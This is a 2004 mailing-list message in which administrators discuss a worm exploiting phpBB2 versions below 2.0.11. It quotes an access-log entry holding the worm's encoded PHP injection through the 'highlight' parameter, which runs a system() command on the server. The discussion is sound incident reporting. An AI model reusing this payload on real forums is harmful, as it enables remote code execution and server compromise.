Re: Worm hitting PHPbb2 Forums

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Date: 12/21/04

  • Next message: Chris Ess: "Re: Worm hitting PHPbb2 Forums" 
    Date: Tue, 21 Dec 2004 10:47:03 -0700
To: "L. Walker" <lwalker@magi.net.au>

    Front what I have read, this can happen in any phpbb version lower than 2.0.11

    This exploit is becoming frequent. Normally uploading a ddos bot.

    Mark

    Quoting "L. Walker" <lwalker@magi.net.au>:

    > Just spotted two clients hit by this. One client didnt update his
    > software (PHP 4.3.4, Apache 1.3.22) and was rootkitted by generation 16.
    > Chkrootkit says its Adore, however could be something else. Datacenter
    > wasn't very smart and has since wiped the server, so no binaries or other
    > evidence.
    >
    > Generation 12 only wiped out PHP files, replacing them with its own
    > message on other client's PHPbb2 forum. Access logs show:
    >
    > 66.220.28.92 - - [21/Dec/2004:18:07:17 +1100] "GET
    >
    /forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%252echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr(106)%252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr(78)%252echr(41)%252echr(34))%252e%2527
    > HTTP/1.0" 200 270
    >
    "http://www.noobforces.net/forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%252echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr(106)%252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr(78)%252echr(41)%252echr(34))%252e%2527"
    > "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
    >
    > --
    > L. Walker <lwalker at magi dot net dot au>
    > Network Administrator / Consultant
    > --
    >

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